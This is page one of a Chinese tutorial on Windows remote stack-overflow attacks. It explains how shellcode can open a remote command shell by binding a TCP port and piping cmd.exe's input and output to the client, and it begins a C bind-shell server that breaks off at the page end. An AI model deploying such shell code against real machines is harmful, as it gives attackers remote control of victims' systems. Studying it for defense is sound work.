文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 国产软件 | 国外软件 | 汉化补丁 | 设为首页 | 加入收藏
业界资讯 | 图形图像 | 操作系统 | 网络冲浪 | 工具软件 | 办公软件 | 媒体动画 | 精文荟萃 | 认证考试 | 网站建设 | 技术开发 | 专栏
当前位置:abcdown网络学院工具软件加密破解window系统下的远程堆栈溢出 --《原理篇》 一
精品广告
推荐TOP10
·DVD影片(区码)的保护与破解
·常用破解网络密码的方法多个
·攻破Windows系统加密保护之EFS解密
·巧用系统自带功能给文件夹加密
·加密文件看见“照妖镜”还不显原型
·破解入门教学(二)
·破解光盘加密:把DVD大片拷到硬盘上看
·远程主机探测技术FAQ集 - 扫描篇
·网络游戏封包基础
·轻松破解:打开丢失密码的笔记本
阅读TOP10
·破解程序及注册机使用方法
·破解windowsXP,window2000的开机密码
·压缩文件的密码破解
·关于SWF文件格式分析及SWFEXE的经验积累
·信用卡号的秘密
·万能五笔2001注册码分析及暴力破解 ---可怜的思考者 (27千字)
·关于硬盘序列号的探讨!
·破解加密光盘五法
·破解的一部分注册码!希望能帮到大家,
·巧用系统自带功能给文件夹加密

window系统下的远程堆栈溢出 --《原理篇》 一

日期:2007年6月2日 作者: 查看:[大字体 中字体 小字体]



  ----前言

我们来研究windows系统下的远程溢出方法。
我们的目的是研究如何利用windows程序的溢出来进行远程攻击。

如果对于windows下的缓冲区溢出不是很熟悉,请大家复习我前面的文章:
《window系统下的堆栈溢出》(IsBaseMagzine 20003)。
本文以及后续的《实战篇》都是建立在该文基础上的。

让我们从头开始。windows 2000 Advanced Server(Build 5.00.2195)

第一篇 《原理篇》

----远程溢出算法

如何开一个远程shell呢?
思路是这样的:首先使敌人的程序溢出,让他执行我们的shellcode。我们的shellcode的功能就是在敌人的机器上用某个端口开一个telnetd 服务器,然后等待客户来的连接。当客户连接上之后,为这个客户开创一个cmd.exe,把客户的输入输出和cmd.exe的输入输出联系起来,我们远程的使用者就有了一个远程shell(跟telnet一样啦)。

上面的算法我想大家都该想得到,这里面socket部分比较简单。和Unix下的基本差不多。就是加了一个WSAStartup;为客户开创一个cmd.exe,就是用CreateProcess
来创建这个子进程;但是如何把客户的输入输出和cmd.exe的输出输入联系起来呢? 我使用了匿名管道(Anonymous Pipe)来完成这个联系过程。

管道(Pipe)是一种简单的进程间通信(IPC)机制。在Windows NT,2000,98,95下都 可以使用。管道分有名和匿名两种,命名管道可以在同一台机器的不同进程间以及不同机器上的不同进程之间进行双向通信(使用UNC命名规范)。

匿名管道只是在父子进程之间或者一个进程的两个子进程之间进行通信。他是单向的。匿名管道其实是通过用给了一个指定名字的有名管道来实现的。

管道的最大好处在于:他可以象对普通文件一样进行操作。他的操作标示符是HANDLE,也就是说,他可以使用readFile,WriteFile函数来进行与底层实现无关的读写操作!用户根本就不必了解网络间/进程间通信的具体细节。

下面就是这个算法的C实现:

/*******************************************************************
*/
/* Telnetd.cpp By Ipxodi tested in win2000
To illustrated the method of telnetd.
Only one connection can be accept,
feel free to add select... to fit for multiple client
*/
#include
#include

int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;

WSAStartup(MAKEWORD(2,2),&wsa);

listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
这段代码是用来建立一个Tcp Server的,我们先申请一个socketfd,使用53764(随便,多少都行)作为这个socket连接的端口,bind他,然后在这个端口上等待连接listen。程序阻塞在accept函数直到有client连接上来。
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;


[1] [2] [3] [4] 下一页 

上一篇:MYSQL用户root密码为空又一攻击方法

下一篇:如何黑BBS公告牌


相关软件: 相关文章:
·window系统下的远程堆栈溢出 --《原理篇》 一

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.abcdown.net
首页 | 本站声明 | 下载帮助 | 发布软件 |
中文版权所有:ABC学院 浙ICP备05000717号